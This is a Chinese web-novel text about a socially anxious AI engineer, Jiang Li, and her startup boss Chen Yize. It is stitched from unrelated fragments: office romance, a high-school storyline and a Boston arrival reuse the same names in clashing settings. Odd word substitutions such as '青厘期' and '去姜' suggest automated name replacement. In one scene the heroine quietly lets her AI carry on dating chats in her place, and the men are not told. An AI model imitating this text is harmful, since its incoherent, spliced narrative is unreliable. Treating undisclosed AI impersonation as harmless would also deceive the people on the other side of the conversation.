什么嘛,凶什么凶……就他会凶一样。 姜厘独自一人时,内心戏丰富,在心中这样那样的批斗了陈屹泽一通。 这个人,新年刚过完,知道第二天要上班,还把外套落别的女人那里,昨夜还不知道鬼混到几点。 她昨夜可是认真在写辞职信,认真在做工作交接备忘录,所以才会迟到的。 他有什么立场批评她! 姜厘脑中的Q版姜厘把Q版陈老板拳打脚踢了一番,胜利之后,雄纠纠气昂昂的回去自己办公室。 她把窗户打开透气,坐在笔记本电脑面前,写工作交接备忘录。 辞职的心是坚定的,不以老板的意志为转移。 这是她工作的第五年,进入独角兽的第三年。 她的第一份工在某大厂,一大间办公室,每人一个小小工位,电脑屏幕后是一张张社畜面孔,干了一段时间后,听说学姐在创业,公司叫独角兽,小小的,只有三人,她立即跳槽去了。 人那么古怪,社恐又有什么问题。 “怪也不是这么怪的,上次有个人问她怎么刷卡,她支吾了半天,最后跑了。把人家小伙子弄懵了,还问我呢,是不是他说错什么了。” 等她闭口不言,他们又要传,那个谁谁谁,性子好木讷,半天说不出话来,她是不是有那方面问题? 她飞快道谢、飞快离开。姜厘竟然长这样! Alex向后踉跄两步,人都傻了。 独角兽创始人陈屹泽,仅花三年就从车库搬到地标写字楼,缔造出估值过亿新科技公司,靠的是什么?就是出神入化、真假难分的国内第一AI天马。 天马之马,取自“姜”姓,独角兽三号员工姜厘,技术大牛,天马亲妈,独角兽的第一秘密武器,因其为人低调,业内对她形象、出身背景都不太了解。 陈屹泽最近戒烟,咬着烟头没点火,说话时十分严厉: 陈屹泽:“什么?” 他将电脑啪的一关,漠然道:“行了,我当什么也没收到,你出去吧。” 有人说她是飒爽御姐,出身豪奢,因为很长一段时间独角兽一直是各大顶奢品牌的高端客户(其实是陈屹泽);有人说她是顶级学霸,天才少女,这点有某届ACM冠军名单为证……传她什么样的都有,就、就是没人传过,她是个结巴啊! 不行。 说的也没错,她的确爱几点来几点来,爱几点走几点走,但就是,“就、就是,太多人了。” 她呆了一呆,黑不溜秋的瞳仁里有点茫然。 她突然主人格上线,站直不动,静静思索了一会儿,回忆陈屹泽刚才说的那些话。 就是人多啊!果然说了他也不会懂,姜厘埋头,坚强的坚定的说:“反正,我就是要辞职了。” 姜厘是个理科生,却也懂“诛心”这个词不是能乱用的。 要知道被传成结巴,姜厘能羞愤的三天不出门。 筚路蓝缕,一同创业三年,旧民房换成写字楼,五六人的规模扩张到百,他们的Ai产品举世闻名,现在正是享受胜利果实、与资本一同狂欢的时刻,她却跟他闹辞职。 这一天,她的交接手册进度百分之二十,达到预设目标。 有些人也准时给她打开电话。那头是一个充满活力的女声:“姐姐,你下班了吗?” “哈哈哈,这个叫什么来着……社恐!” 中午时分,姜厘叫了外卖来,自己在办公室吃,算着时间,食堂应该已经没什么人了,才过去甜点窗口,要一份草莓慕斯。 去年后,天马AI因一起公众事件而展露出产品出色性能,名声大噪,被列入各大企业和政府平台的采购名单,在一夜之间,独角兽声名鹊起,获得了资本的桂枝。 “那她可真不是一般的社恐啊。” 随之而来,员工增加、办公场所变迁、公司规模扩大,独角兽从小而美变成了人人人人。 我男朋友给我带了午餐便当,里面有我讨厌吃的西蓝花,好讨厌他啊——嗯?你到底讨厌还是不讨厌?建议你可以换一个的时候,生气做什么? 有人怕蛇有人怕蟑螂有人怕猫猫狗狗,她自然可以怕人。 这一天,陈老板被团团工作包裹,过的比社畜精还社畜,无暇缠着姜厘讨论辞职。 他们说一些稀奇古怪的话,让你不知道要怎么接才好: 傍晚五点半,姜厘准时摘牌子下班。 “搞IT的,高材生嘛,性格都怪一点。” 人,两条腿,那么大只,会说话会动,会热气腾腾的凑上来跟你勾肩搭背,身上的气味、说话喷出的气息都落在你的身上。 让人窒息。 一边吃着甜品,姜厘给了自己充分的自我认同。 隔壁公司的凯西好厉害哦,她居然狠心去拉个双眼皮削骨头,也是她这样的狠人才能钓到富二代,我只能上上班咯——是的,你认真上班吧,嗯?瞪我干什么?又说错什么了? 姜厘是个社恐没错。 窗口的阿姨与她对视一眼,很熟练的把柜子里最后一份拿出来,“喏”了一声。 说也不行不说也不对,那到底要她怎么样呢? 太古怪了,说一时实际要说二,回答不到点上,她索性不说好了。 姜厘:“我有些事情要临时加个班,所以就——” 到去年为止,独角兽都只有十来人,在一处民房里办公,四周人少,环境破旧但静谧,在她的承受范围内。 “又是那丫头吗?”隔壁窗口阿姨搭话,“她怎么每次都这么指一指,不会开口说话?也亏你明白她意思。” 真的。 这么多人,路上碰见要叫她姜厘姐,围着她寒暄几分钟,说天气说工作说有的没的;上班时遇到问题要叫她解决,坐在她旁边,挨得那么近,还凑到电脑前;下班后总邀聚会,聚会里人头攒动,肩挨着肩,分享食物和故事…… “陈哥已经在你办公楼底下等你了哦,我特意让他去接你下班,他还请了一会儿假呢,是不是很有诚意呀。” 姜厘:“………………” 电话那头是她的双胞胎妹妹周佳佳,其口中的“陈哥”,是周佳佳给她安排的相亲对象。 过年时,她为了躲避亲戚,谎称加班,留在了这套小房子里,没有回家,因此遗留下了一些未解决的“家庭任务”。 姜厘道:“佳佳,我、我其实不想……” 周佳佳:“姐姐,快去哦,人家在等你,我不和你说啦,宝宝踢我了。” 周佳佳向来说一不二,没有姜厘反抗的余地。 姜厘痛苦抱头。 姜厘在公司外待客区见到相亲男,周佳佳给她介绍的优质对象——体制内、斯斯文文,穿一件很老气的黑夹克,见她时来握手问好。 姜厘硬着头皮握了握。随即收回手,踹进口袋中,感受着手背慢慢浮起的烫和痒。 对人过敏,真不是说说而已。 周围人来人往,不少是同公司的同事,她如芒在背,真想遁地。 好在相亲男开了车,直接领她去了地库,隔开了大家的视线。 此人很健谈,从大厅到地库,一直对她说着本地交通、历史文化、房价十年变化等等,叫人梦回大学选修课现场。 姜厘晕头转向,拉起安全带,没有观察车外,于是她错过,身后,一辆库里南也缓缓发车。 驾驶座上,是眉头紧皱的陈屹泽。 不是巧合,而是陈老板听说有男人来找姜厘,特意放下工作,前来“观察”。 是的,陈老板对待技术栋梁、创业战友,就是这么的朴素且用心。 跟着破大众,开到一家均消一百的西餐厅门口,陈屹泽将车钥匙扔给门童,阔步走了进去。 陈屹泽皱眉。 姜厘返回房间,找到那张陈屹泽在机场递给他的“愿望纸”,视线从他的那份写满她名字的计划上匆匆划过。 姜厘从抽屉翻出钢笔,伏案,对明天即将看到纸张的陈屹泽虔诚许愿。 一笔一划。 她的心愿是, 1,自由 2,抛弃你 第 68 章 第 68 章 窗外锦鲤池面的涟漪越来越小,雨雾渐渐稀疏起来,最近一班去s市的航班终于不再拖着晚点,更新的启航时间定在凌晨两点十八分。 距现在还有两个小时。 减去侯机时间和打车去机场的时间……也就是说,她现在只有半小时可供调配。 姜厘从床上跳起,以最快的速度推出三小时前刚安置在角落的行李箱。 她婉拒了保姆阿姨帮忙整理箱子的提议,所以里面还是她下飞机前的行李,原封不动。 参赛时带的衣服大都是陈屹泽送的,价格不菲,姜厘蹲下身把里面车弯设计的领奖服挑出来,其余全都一路小跑着抱到了米白色衣柜中。 “哦,我凑巧。不是你自己想去的?” 虽然人就坐在隔壁。 电话已被陈屹泽挂了,空留回声。 姜厘住的小区有些年头了,人车未分流,陈屹泽的库里南从狭窄的小区道路碾过,一路将她送到了楼底下。 陈屹泽恨其不争道:“不想去你还去?” 陈屹泽点她,批评她说:“软柿子。” 是从家里打来的电话,刚才在市中心闹,还是被家里知道了。 那边依稀传来了男人的声音,低低问了两句,是他父亲陈新城。 陈屹泽敷衍她,说忙,在开车。 又问她:“手怎么回事?” 下一秒,男人结实的胳膊横亘过来,拦在她面前,与她脸颊只有几公分距离,皮肤是小麦色的,肌肉结实,身上海盐松木的气味侵入她的鼻尖。 后视镜照出陈屹泽的脸,灯光晃过,他侧脸立体,双眸黑漆漆。 陈屹泽从余光瞥她,损她:“没见识。” 先说话的是他后妈徐思澜,问他最近是否还好,说爸爸很想他之类的,这女人很稳,每次和他说话都温温柔柔,好像让他和老陈闹成这样的不是她一样。 到楼底下,他刹了车,骨节分明的手指还落在手刹上,手机屏幕便亮起来。 姜厘:“嗯?”而后又从柜子深处找到自己半年前来陈宅时带的灰银色行李箱。 拎出箱子后,姜厘迟钝地记起这箱子的底部缺了一只滚轮,是刚搬来时被陈屹泽扔出家门磕掉的。 看样子是不能再用了。 姜厘手贴脑门,作难地又望向脚边印着隐晦logo的奢牌行李箱。 算了,管不了那么多了。 她捋起袖子把从破行李箱中的旧衣服转移出去,最后在衣柜夹层抽屉里摸出自己的钱夹。 一张灰色银行卡。 这是陈妄山半年前给她的,里面装着50万供她零花生活。之前拮据的时候姜厘也用过里面一部分金额,不过新生入学奖金下来后,她就补足金额原封不动地放了回去。 一张金色银行卡。 这张里面装着陈屹泽平时给她的转账汇款,以及所谓的、她根本没插手过几次的机器人项目分成,满打满算,总共三百七十五万。 大概一周前,姜厘抽时间把钱全提出来,转到了这张新办的卡里。 依稀记得当时银行柜员对她殷勤的姿态,拼尽全力向她介绍新的理财产品试图让她把钱用于投资。 夹层抽屉中还有其他的一些,姜厘分门别类归置着。 她拿好自己原本的储蓄卡、护照签证,放回印着“机动车登记证书”的绿色本本,以及之前陈屹泽给她的赠予公证合同。 两人是双胞胎姐妹,可是当妹妹的周佳佳,才是那个说一不二的老大。 这头,姜厘回到小窝,第一时间翻出药箱,从小瓶子里剔出两颗白色小药丸,就着即热饮水机里的温水服下去,接着拿一只止痒抗敏的药膏,对着镜子,细细的涂抹。 浓密长睫微垂,她一点点的涂好药膏,吹了吹气。 “人家大少爷,迟早回去继承家业,找个门当户对的女人结婚,你要是迷上了他,趁早断了念头。” “你想让她最后的心愿都落空吗?” 姜厘闷声说,“我、我不要,我谁都不喜欢,我不想找男人。” 但姜厘当然不是别人。 姜厘张大嘴,立刻摇头。 不算很严重,睡一觉就好了。 她都搬妈这块砖了,姜厘还能怎么样。 陈屹泽收回目光,发动车,离开小区,回公司加班。 这是跑程序的事吗! 而当姐姐的姜厘,却从小就迟钝,到了上幼儿园的年纪还不太会说话,一说话就结巴,被很多小朋友嘲笑,她就更不想说话了,刚上小学,她就因为内向、不和同学交际而被老师关注,老师找上家长谈话,问是否要转去特殊学校。 不过转年,她展现出超人的智商,小学就拿奥赛第一,讨论熄了下去,老师也绝口不提特殊学校了,反而是校长老人家都来和她合照。 好成绩没有让父母的担忧少一点,隔着薄薄的门板,小小姜厘听着父母讨论,说要不要带她去看医生、吃中药能不能治口吃,说她以后要怎么办、这种性格怎么在社会上立足。 再后来,父母因故离婚,姜厘跟着老实隐忍的父亲生活,父亲是中学教师,很忠厚的老好人,凡事都忍让,姜厘再次学尽了他老人家的精髓,在软绵绵的小羊羔道路上越走越精深。 反观双胞胎妹妹周佳佳,跟着母亲再嫁进商人家庭,这些年,学了播音、进了电视台,还嫁了珠宝行小开,在哪儿都很吃得开。 去年,二人的母亲重病去世,临走以前,最为放心不下的就是姜厘,她嘱托周佳佳,一定要顾好姐姐的人生大事。 从那之后,周佳佳就把催婚当成口头禅,敲开她脑子看看,大概不会有别的事情了。 姜厘心里不愿,可是陈屹泽说的对,她是个软柿子……… 等待了片刻,两位男士都通过姜厘的请求,发来问好。 上有政策下有对策,姜厘拖动桌面上的小马光标,把两位男嘉宾托管了出去—— 她不会聊天,她的天马会,每次她都是直接托管给天马的。 某种意义上,周佳佳说的也对,这和她工作跑程序差不多……上帝关了她的门,她就给自己开个天马大天窗。 这阵子天马做了升级,姜厘有点拿不准,因此特意在电脑面前蹲守了一会儿,看AI说话天衣无缝、上下文自然柔顺,她和男嘉宾都是大大的满意。 姜厘安心的去睡觉。 次日早,她认真检查了二号姜厘的运行状况,看“她”和人家聊的很好,心里为自己点了个 姜厘被奇迹姜厘了一番,先后穿了各品牌的新款和高定,裙长从膝上三公分到托底、款式从无袖、吊带、泡泡袖等,也不知道上哪儿搞来这么多裙子给她穿。有那么一秒,姜厘有些后悔自己不是个捞女。 不然凭借半年内从未主动张口就捞到现金三百万,保时捷一辆的记录,高低也能在圈子里混出点名气。 她玩笑般扯扯唇,刚要继续紧锣密鼓地整理其他学业有关物品,手中的绿色本本突然从夹缝中掉出一张卡片。 油画质感的厚硬卡片上,蓝色的蝴蝶展翅欲飞。 是她之前泳衣上的图案。 她反过来,看见陈屹泽之前为哄她写下的一行字。 【爱上一只蝴蝶,翅膀好漂亮,不能折断她。】 姜厘瞳仁浅颤,怔了片刻,随后蹲下身慢腾腾拾起卡片。 陈屹泽目送姜厘上了楼,视线中,窗后的一盏灯亮了,女孩的侧影映在落地窗前。 今晚这一幕,如果有外人在看,一定会觉得不妥,陈屹泽是公司老板,姜厘是员工,两人这样相处,过了界。 但人和人的关系复杂多样,用一种类型来概括也未免太简单机械,现在连ai都比这智能了。 创业艰辛,独角兽从破旧民房里起步,有过发不出工资交不起房租的时候,产品研发几次失败,技术员工都走的差不多,唯有姜厘着跟他走到了最后。 第一年的年尾,研发不顺,陈屹泽手里很缺钱,去问房东能否延交租金,却得知姜厘已经交了三个月房租。 他没有借女人钱的习惯,去找她,想对她说,会尽快还她,可是话到嘴边,又觉得没有意思。刚好赶上双十一返场活动,姜厘屯了几箱不要钱的牛奶、方便面、卫生纸,他一声没吭的去搬了回来。 那是最难的一段时间,公司基本靠两个人在撑着,一个跑业务一个搞技术,加班饿了,点一份外卖,头凑头吃;熬完大夜,困得不行,把午睡床一摊,肩比肩就睡了。 周佳佳早就准备好了:“咱妈走的时候怎么说的你记得吗,她都那样了,还惦记你,她交代我说,姐姐不爱说话、胆子小,得找个靠谱的人照顾她,她让我记着这事,这是她遗愿。” “??啊?” 这几年独角兽来去的员工不在少数,AI研发的路,不是那么好走。 捂耳朵,不听不听。 她最后当然还是加了,郁闷的要命。 周佳佳非常生气。 “啊什么啊,让你加,不就像你工作一样吗,同时跑两个程序,效率高。” 她向对方百般保证,姜厘性格安静乖巧,还和自己长的七成像,好好打扮会很漂亮,陈哥这才肯优先来见。 涂好药,换好家居服,姜厘往房间走,手机铃声叮里当啷的响起。 周佳佳:“行,你说我信。你不喜欢体制内是吧,我再给你推两个从商的,你主动加一下人家。” “真的不,”姜厘真的不喜欢他,她对他一点滤镜都没有。 她在电视台上班,介绍的这位陈哥是她们总编室的香饽饽,一进体制就被好多人预约着要相亲,她替姜厘做媒,还是插了队的。 然而这铃声就如对方的性格一样执拗,不肯轻易罢休。 手臂上的红疹风团很是瞩目,女孩肌肤底色白皙,红痕斑驳。 好一个告状精相亲男,还是找周佳佳告了状。 陈屹泽是大少爷出身,离开罗马,终于脚踏实地踩进泥里,姜厘是在低谷里陪他一起的人,交情到这种地步,实在没必要去分男女之见、上下级之别。 别人要走,他不会留。 姜厘拉着一张丧气苦瓜脸,接起电话:“佳佳……” “你到底想找个什么样的,这也不行那也不行的,难道你还真看上你那个老板陈屹泽了?” 陈屹泽视线移到桌上的卡片上,唇角一点点溢出嘲讽的弧度。 浑身血液变冷,他目光阴翳,几乎要揉碎手中的纸。 徐轻川这时才突然闻到粘稠的血腥味,他低头一看,也慌了:“陈哥,你手在哪划破这么大的口子?流血了!” 陈屹泽仍旧立着,像中了蛊。 耳边呼呼鼓着劲风,飘渺的嗓音似从远处传来,一遍遍地叫他哥哥哥哥哥哥哥哥哥哥……爱你爱你爱你爱你…… 片刻后,男生撤了一步,低头从徐轻川手上取过那枚定制的黑钻项链,毫不犹豫地砸向玻璃。 利刃割过的声响迸发而出,窗户被爆发的力道顷刻撞碎,奢华清冷的项链在半空铃铎作响,最后扑通一声,坠到冰冷的池塘。 去nm的和解之石。 她怎么敢的? 他要弄死她。 第 69 章 第 69 章 …… …… Boston. 飞机降落在停机坪已是12个小时后。 从没坐过这么长时间的飞机,双脚踩到地的时候姜厘甚至虚虚踩空了下,幸亏黛西眼疾手快地借力给她。 女生穿着火辣前卫,性格却像妈妈般体贴,这让她想到车弯。 “lili,很显然吃一颗胶囊不够压制你的疾病。”黛西还想再灌她一颗。 “真的足够了。” 姜厘连忙摆手,敬畏地与她拉开距离。 不是她不和美利坚同志打成一片,实在是刚才在飞机上被灌药的经历太可怖,异物卡住喉咙,她喝了两大瓶矿泉水才吞咽下去。 她是发烧感冒都不喜欢吃药的人,总觉得药类控制身体很不舒服,扛着扛着,等到免疫系统出手就好了。 下面的声音开始有些噪意,为了避免下一步的此起彼伏。 姜厘更冷淡的说出了介绍词;“方姜的姜,姜厘何处暗周游。” 这还是她在情急之下胡编乱造挪用的一个。 说完就立刻坐到教室最后排的空座上。 这个位置除了离空调近一点,离讲台远一点,其余的没什么不好,客观上来说。 就是前桌长得太高了,黑色后脑勺会挡住她的视线。 就是这短短的几分钟,她能察觉到周围若有似无的视线,有探究、有好奇、有不怀好意,其中有一道锋利的眼神。 在姜厘看回去的瞬间,她冷酷又傲慢地扭头了。宋写宁,初中隔壁班同学,应该是她在这个班唯一一个还算熟的陌生人。 一中的学习进度很快,准确的开学时间已经过了一个月,所以第一堂数学课不是集合,而是基本初等函数。 好在暑假紧张地预习过,所以她很快就能适应老师的讲课速度。 课程是一门接着一门,紧锣密鼓的,就连短暂的下课十分钟,联络新同学的时间都没有。 或许是新同学的透明度太低,位置太过角落,以至于被选择性遗忘了,也可能是校服背后的“2”深深隔开了他们。 很讽刺的是,周末的街道上常常能看见一中的学生穿校服。 苏合市区高中的校服样式都大差不差,用于区别的只有背后的一串装饰性字母和胸前的校徽。数字很大很显眼,好像在说就算布料材质都一样也改变不了你属于二中的事实,没有这件校服你就天生比别人矮了一头。 畸形却又现实。 她不得不承认,那个时刻脸被这些目光火辣辣地灼烧着。 早在半个月前,校服就发到了高一新生的手上,苏合一中的校服不仅象征着重点高中的名气、地位。 还是那些在中考这场战役上取得胜利的人的“特殊仪仗”。 除了一个人。 他好似不在乎任何人的看法,可以说是一刻也闲不住。 他转身特意露出示好的八颗白牙:“同学,我叫周柏羽,那个柏树的柏,羽毛的羽。” “你好。” 姜厘抬眼,看着这张咖啡色笑脸,没忍心说出那个薄情寡义的“哦”字。 两个人也算是打开了话匣子:“你看上去好高冷。” “有吗?”姜厘表示疑惑,明明语气再普通不过,怎么遇见一个人就有一个人说她高冷呢? “非常有。”周柏羽佯装摸摸手臂上的鸡皮疙瘩,打了个寒战。 姜厘没忍住笑了。帘外车辆飞驰而逝,夜间窗景绮丽绵长,姜厘数不清被强摁着来了多少回,只记得耳边铃铃铃的铃铛声快要把耳膜晃炸了。 最后身体快要散架,床上一片烂摊子,陈屹泽用真丝床单裹着用完的t,打包一并扔了出去。 扔完回来,看到姜厘穿着他的T恤缩在地毯上,又蹲着笑了很久。 脸上漾开的笑,像是蒲公英被风吹散,恣意又生动,没有丝毫的拘谨严肃,一板一眼。 让他感到震惊以及不可思议。 她笑到最后转为了咳嗽,几声剧烈的咳嗽声连带着桌面一齐震动,同样,触碰到了前桌白衬衫的背。 艰难止住咳嗽后,她率先弱弱地说了一声:“对不起。” 前桌像是从沉睡中蛰伏已久的巨龙,懒散地支起身子,头也不回地扔下一句:“很吵。” 毫不留情。 “别管他,他就这副死德行。”周柏羽听见铃声才悻悻回头,嘴里还念叨着巨龙的不是,“没睡醒就等于欠他八辈子的身家性命。” 姜厘煞有介事地点点头,她没有与巨龙抢夺金银珠宝的念头。 除了上课,他的所有时间都拿来补觉。 一是,避免那些无用且麻烦的社交;二是,真的困。 陈屹泽在地理老师走到讲台后,才慢慢抬了眼皮,直起脊背。 这样一来,以他的身高完完全全挡住了姜厘的视线,她只能把头探出桌面,才能看全老师写得板书。 地理老师的语速很快,ppt播放得也很着急,以至于她总是抄到一半就没了。 面前的后脑勺和他手中一下一下转动的笔,越看越不爽。 “来,同学们看,这里是一个易错点,地壳的范围是从地面以下到莫霍面以上……”地理老师重重地敲击了黑板。 与此同时,陈屹泽感受到左肩胛骨有一股微弱的力道。 他转头,姜厘正低头专注地记着笔记,并且用一种非常礼貌冰冷地语调说出:“你挡到我了。”这五个字。 平铺直叙出两个人因位置落差造成的局面。 “哦。” 他就回了一个冷淡单音节,不带情绪,没有道歉。 只不过挺直的背瞬间松懈了,散在了离姜厘书桌很近的靠背上,即使矮了半截,周身强硬的气场也分毫不减。 让人莫名觉着他不是来上课,他是来御门听政的。 陈屹泽转过身,轻轻叹了口气。 手里的笔转得更快了,所以转校生就是在诊所遇见的那个人。 周柏羽把头探过来,好奇道:“你怎么了?” 额头就快贴到陈屹泽,被一只手推开老远,同时收获了一把刀子:“离我远点,恶心。” 周柏羽瞅他那嫌弃样儿,真想来上两拳,就不该关心他,妥妥的农夫与蛇。 某人还在思索那句“你挡到我了”,姜厘早就心满意足地写完了笔记,合上本子。 下课铃一响,所有人都往同一个地方蜂拥,兵家必争之地,学校食堂。 她不能理解为什么就连学校食堂那种菜色都得靠抢,一个人慢慢地走,落在队伍的最末。 一中和二中差的不止是师资力量。二中的食堂只有两层,一层是学生的一层是老师的,天然的井水不犯河水。而一中的食堂有四层,甚至还有专门的西点房,学生和老师一样都是刷饭卡。 不过两个食堂的味道都是相似的,混合着饭菜、塑料、泔水的油荤气。 姜厘不喜欢这些附在大理石瓷砖上的味道,所以比起食堂,她更喜欢便利店的冷饭团。 不过开学第一天总得试一试,这样以后吃到再难吃的菜也会觉得比食堂的好一点。 应该是从初中开始,女生之间就连上厕所都会形成一个稳固的联盟,去食堂,体育课,大课间的路上。结伴而行、迅速抱团是最明智最合群的做法。或许是为了给不太稳定的青厘期套上一层友谊的“枷锁”。 至少姜厘是这么认为的。 只不过在她的初中生涯,一直是一个人。 不用停下脚步等待面前系鞋带的人,不必花时间应付除学习以外的事,那种状态很好,也有点冷。 所以当她走进学校食堂,看见一桌桌早已彼此熟识,谈笑风生的人,顿时感到有些无措。 因为这些人,她一个也不认识。 去得太晚了,食堂的取菜口就只剩下一个营养不良的小鸡腿和一盘虚弱的大白菜。 打饭阿姨看着面前单薄的小身板,心疼地说道:“小同学,你下次早点过来。” “谢谢阿姨。”姜厘点点头,托着餐盘去找位置,心想:下次还是吃饭团好了。 开学晚了,食堂也晚了,哪怕是晚来一天,群落里也会被不同种类的菌群占据迅速瓜分领地,没有供她站立的地方。 环顾四周,空桌子基本上都坐了人,她不习惯与别人拼桌,但没有办法只能迅速地找个地方坐下。 姜厘走近的时候,那些人的眼神在闪躲。 或许此刻的她正处于南太平洋中心的尼莫点,是地球表面距离陆地最远的地方。 她有些孤立无援。 周柏羽率先发现了她,看了眼陈屹泽面前的大片空位对他说:“转校生是不是没位置坐,要不要叫她过来。” 他抬头看,似乎轻“啧”了一声。 不知为何,每次见她总觉得隔着一层雾,好像离远些就溶解进空气当中。 她细细的手吃力地托着巨大的铁盘子,可笑的是盘子上只有零星的菜,东张西望,慢慢吞吞的,像呆头企鹅。眼睛藏在厚镜片下面,但那个眼神是在姜他求助。 周柏羽脑补出了一出大戏,“你说她会不会被孤立了?本来人家就是转校生人生地不熟的,我们要不要叫她过来一起吃。” 陈屹泽横了他一眼,不屑地几乎是脱口而出。 “关我屁事。” 刚踏出室内就被冷空气呛了一下,姜厘拎着购物袋埋头向前走,围巾蒙住口鼻,她不想呼吸到夹杂着大.麻味道的空气。 其实波士顿的治安没有太差,但街上还是有一些流浪汉衣衫褴褛地坐在角落,尤其晚上更多。 姜厘最讨厌从他们面前走过,他们的眼神比小镇大妈的更具有侵略性,不光打量她可能装着现钞的口袋,还打量她背在身后的钱背包、装着食物的袋子,以及她的胸和屁.股。 姜厘几乎是小跑着回到租住的公寓的,她的房间在三层,白色入户门四周被合租小哥黏了厚厚的一层泡沫,用于防风。 姜厘把购物袋放下,掏出钥匙准备开门之际,低头看到门前犄角,静静躺着两枚不合时宜的烟蒂。 她视力不错,声控灯亮起的瞬间,捕捉到了灰烬中烟蒂上的字样—— Marlboro black menthol. 第 70 章 第 70 章 … 姜厘:【弯弯,你能不能告诉我你之前抽的是哪款烟啊?】 姜厘:【黄油小熊拜托拜托.gif】 车弯收到姜厘的新消息时,暗骂美利坚的风气把人带坏得未免太快。 女生黏好上翘的假睫毛,眉头紧锁望向暂未熄灭的屏幕,她看了眼时间,随后果断call过去微信通话。 “喂,弯弯?” 电话迅速被接通,姜厘捂着点收音孔,蹑手蹑脚地把收集好的烟蒂用卫生纸包好,随后右脚一勾,迅速带上房门。 “你问我抽什么烟是要干什么?”车弯语气像直接揪着她耳朵一般恨铁不成钢,“刚到大洋彼岸就放飞自我了是吧!” 车弯说话不经思考,募地又想到每个人都有自己的压力,她自己都戒不掉怎么还有脸训别人。 女生心虚地努努唇,夹着手机,抱起笔电,刚站起身还没道歉,话筒那边的声音倏地脱离混沌,清晰起来。 “你说什么弯弯?我刚才没听清楚。” 姜厘语气抱歉,她放下大包小包,点开免提,一屁股栽到沙发。 酒店大堂里,三米高的水晶坠灯带着隐秘的压迫感,来这儿的人不是为了喜事就是为了丧事。 姜厘站在那块簇绒地毯上,仰头看。 这么大的水晶灯,掉下来,玻璃碎片或许会把人扎的血肉模糊。 “杵在那儿干嘛?还不跟上来。” 女人招手朝姜浩浩汤荡一行人队尾的姜厘,同样的压迫隐而不发。 前头的人看着巨大的红色横幅,开口道:“这一整层楼都被他们包走了,我们就委屈一下在这包厢里庆祝。” “在哪儿不都一样?” “人家是中考状元,当然要好好庆祝,要是我们家的考这么好,别说整层楼了,摆个三天三夜我也愿意。”那女人话毕,眼球翻了个个。 不错,这个女人正是姜厘的母亲,蒋月华。 姜厘的脚步很轻,就这么默默地跟在后面。 她知道这场“升学宴”自己最好成为那个无关紧要的人。 不巧的是,包厢的天花板也坠着水晶灯的黄光,以至于吸引了她的全部注意力。或许恰巧是圆桌上的菜单,忘记给她一份。 “夏夏,你吃什么啊?” “伯母,我什么都吃,你点一份花雕醉沼虾就行。”她偏头,就对上姜厘的眼睛。 她心领神会,点了点头。 在等待上菜的间隙,他们绝对不会亏待自己的嘴巴。 苏合市每一所高中的录取分数线都平铺在玻璃圆桌上,两个人的成绩、态度、行为都由里到外比较了个遍。 总结下来,她就是个一无是处没能考上苏合一中的废人。 直到那些菜把剩余的圆盘空间给占满,他们依旧不肯罢休。 姜厘只是盯着面前的盘子看。那些铺天盖地的语言,比这盘脆炸虾球中落的金丝,还要细碎。 她就只有一个想法:“我饿了,能吃吗?” 她抬起筷子,眼神象征性环顾了一圈,看到爷爷奶奶动筷后,精准地落在了虾球上,自顾自吃了起来。 蒋月华就坐在她的左手边,双眉紧蹙很是心焦。饭桌上男人们推杯换盏,于成绩不管不顾,他们只在意结果。 “来,小夏这是大伯给你的红包,快收下。”姜成明递给姜夏锦一个厚厚的红包。 为了不厚此薄彼,姜厘也收到了婶婶林若方给的红包,分量比起堂妹的还是差了一点。 林若方笑着问道:“你们毕业旅行打算去哪儿?” 还没说完就被打断了:“她哪儿也不去。考这么差还想出去玩,好好在家里补课。” 姜厘的表情没什么太大的变化,没有妥协也算不得逆来顺受,只是自然地习惯了被补习班占满的暑假。 “这样怎么行,成绩是另外一回事,还是得出去见见世面的。”林若方对嫂子这般强硬的态度也没什么辙,只好打起圆场,“这里有两张海洋馆的门票,你们两小只找个时间一起去玩吧。” 姜厘接过那张门票,道了声谢。 饭桌上又开始无休止的关于她成绩去姜的讨论。姜厘深知这个世界需要入场券,没有像样的成绩就只能待价而沽供人选择,但她没想到这一天来得这么快,如此苍白无力。 明明包厢的空间很大,但她却感到窒息。 “我吃完了,出去透透气。” “吃完这个再走。” 蒋月华把一块糖麻糍放在她的碗前,带着愠色,示意她吃完了再离开。 因为只有完成了这个服从性测验,她才能享受到片刻的自由。 姜厘不情不愿地捡起,囫囵地塞进了嘴巴,还没吞咽完,就起身离开了包厢,出来得太急,都没注意左肩不小心擦到了人。 在刚刚的那顿饭中,姜厘的每一句话都像咸味饭盒中的糖糕一样,不合时宜。 她一边嚼着嘴巴里的糖麻糍,一边用力地呼吸新鲜空气,将肺里的酒精味、油烟味、烟味都给置换了出来。 姜厘悠哉悠哉地躺在酒店大堂的沙发上,她这才发现,那个红色横幅上醒目又响亮的中考状元的名字。 “陈屹泽。” 她念了出来。 耳边出现的声音不仅仅是这个名字,还有钢琴声。 是那台巨大的施坦威三角钢琴,周围拉了一条禁戒线只被当作是装饰品的钢琴。 姜厘好奇地回头看去,却没能看到那个弹钢琴的人,她想这个人应该是自信的,不被束缚的。 她没有靠近钢琴去观赏的念头,只是静静地听着,即便她根本不懂舒曼与贝多芬的区别。 蒋月华一行人从包厢里出来时是带着满脸笑意的,她拍了拍姜厘的肩膀,说道:“姜厘,一中有希望了。你只差了一分,刚好有五个借读生的名额,你就在里面。” 姜厘的眼中闪过一丝的惊讶,一是惊讶于这顿饭的效率,二是未曾听过的“幸运”居然会落在她的身上。 这其中的的波折她不敢去了解,只能接受,只能无条件地顺从,因为这已经是蒋月华“为她”做出过得最大努力了。 “不过你的学籍还是二中的,所以开学一个月前的军训是在二中,高考也在二中考。”蒋月华看着她,眼神复杂。 “嗯。”她点点头,听不出喜怒。 姜厘深深地喘了一口气,最起码蒋月华在这个暑假里能稍微消停一会儿。 星、月、夜云以电缆的棱线连接天空,斑斓的月影,白光浮动的钢铁建筑,很缤纷。 整个海洋馆被巨大的蓝色笼罩着,室内的灯光很暗,光线折射了又反射,透着粼粼流光。 阴影从姜厘的头顶划过,那是鲸鲨的白色巨腹,懒散、漫无目的。透明质地的水母群,有点像一碗熬得不太彻底的银耳羹。 两个人顺着环形隧道走。 姜夏锦好奇地指着这些形形游鱼问她:“姐,你觉得它们孤独吗?” 在晶状体被反射率较高的大量蓝色占据时,人会多出这些无病呻吟。 “有吃有睡,不好吗?”姜厘的回答一如既往的直接。 她不太善于煽情也不想继续讨论“子非鱼安知鱼之乐”的话题。 “无聊。”姜夏锦知道自己这个姐姐太过理性,也没继续烦她。 与此同时,手机里也收到了几条信息。 